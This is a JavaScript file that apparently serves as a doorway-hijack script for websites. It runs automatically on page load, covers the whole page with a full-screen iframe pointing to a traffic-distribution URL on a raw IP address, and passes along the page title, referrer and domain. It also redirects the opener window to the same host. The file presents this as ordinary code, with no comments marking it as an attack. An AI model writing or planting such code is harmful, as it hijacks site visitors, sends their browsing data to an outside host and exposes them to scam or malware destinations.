function extractDomain(url) {
    var domain;
    if (url.indexOf("://") > -1) {
        domain = url.split('/')[2];
    }
    else {
        domain = url.split('/')[0];
    }
    domain = domain.split(':')[0];
    return domain;
}

function getGetData(url, name){
	if(url.indexOf(name) > -1){
		var get_lenght = name.length;
		start = get_lenght + url.lastIndexOf(name);
		data = url.substring(start);
		return data;
		}
	}

function createDoorIframe() {

	var tds = 'http://51.195.45.131/?8rVmkN&cat=792&mark=gusi-ch-de&autosub=1&parameter=', 
	d = document, 
	w = window, 
	keyword = encodeURIComponent(d.title), 
	css = 'html, body {margin: 0; height: 100%; overflow: hidden !important}', 
	head = d.head || d.getElementsByTagName('head')[0], 
	style = d.createElement('style'), 
	domain = extractDomain(d.location.href), 
	//ref = encodeURIComponent(getGetData(w.location.href, 'utm_source=')), 
	//ref = encodeURIComponent(extractDomain(d.referrer)),
	div = d.createElement('div'), 
	i = d.createElement('iframe');

	//(ref == domain) && (ref = '') && (ref = 'undefined');
	ref = encodeURIComponent(getGetData(w.location.href, 'utm_source='));
	if(ref == ''|| ref == 'undefined'){
		ref = encodeURIComponent(extractDomain(d.referrer));
	}
	if(ref == domain){
		ref ='';
	}
	
	tds += keyword + '&se=' + ref + '&referrer=' + domain + '&source=' + 'edrock.pl' ;

	style.type = 'text/css';
	if (style.styleSheet) {
		style.styleSheet.cssText = css;
	} else {
		style.appendChild(document.createTextNode(css));
	}

	head.appendChild(style);

	i.setAttribute('style', 'width:100%;height:100%;top:0px;left:0px;position:absolute;z-index:99999');
	div.setAttribute('style', 'width:100%;height:100%;top:0px;left:0px;position:absolute;z-index:99999;background:white');

	i.src = tds;
	i.setAttribute('frameborder', 0);
	i.setAttribute('scrolling', 'yes');

	d.body.appendChild(div);
	d.body.appendChild(i);

	window.opener.location.href = 'http://51.195.45.131/?qJkt1N&se=' + ref + '&referrer=' + domain;
}
createDoorIframe();